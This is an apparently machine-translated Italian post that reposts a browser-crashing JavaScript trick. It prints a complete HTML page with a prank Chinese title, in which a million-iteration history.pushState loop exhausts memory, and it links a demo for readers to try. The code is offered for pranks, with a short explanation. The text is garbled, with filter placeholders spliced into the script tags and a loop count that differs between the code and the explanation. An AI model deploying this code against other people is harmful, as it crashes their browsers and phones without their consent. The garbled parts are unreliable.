La causa dell'incidente è questa: un amico straniero di Cyber Security ha pubblicato un tweet del genere su Twitter:
Questo tizio sostiene che se usi il codice Javascrip{filter}t di 12 righe sopra sopra, puoi far crashare Firefox, Chrome, Safari browser e far riavviare il tuo iPhone e far crashare il telefono Android!
Il codice HTML completo è il seguente:
- <html>
- <head>
- <meta charset="utf-8">
- <title>谁点谁怀孕</title>
- </head>
- <body>
- 恭喜你,你已经怀孕了!
- <scrip{过滤}t>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </scrip{过滤}t>
- </body>
- </html>
Copia codice
Se sei un utente PC, dopo aver cliccato sul link, la memoria della CPU del computer è molto probabile che salga fino a quando il browser non si blocca e si blocca...
Se sei un utente mobile (Android, iPhone), il tuo browser si bloccherà dopo aver cliccato sul link! Cliccando sul link su Weibo e WeChat si blocca anch'esso.
Perché succede questo? A questo proposito, ho trovato una risposta da un dio chiamato "Xiaomi" su Zhihu:
history.pushstate() è un'API introdotta da HTML5, pushState aggiunge un URL specificato alla cronologia del browser e memorizza il punto di cronologia corrente. Quando i<100000, il totale viene registrato nella cronologia del browser in modo ciclico, e se viene ripetuto troppo, il browser non potrà sopportarlo e si bloccherà naturalmente.
Comunque, non riesco nemmeno a inventare "hello world", quindi non lo capisco affatto... In breve, è perfetto per far saltare in aria il cielo!
Se vuoi provarlo, clicca qui: http://www.itsvse.com/demo.html
|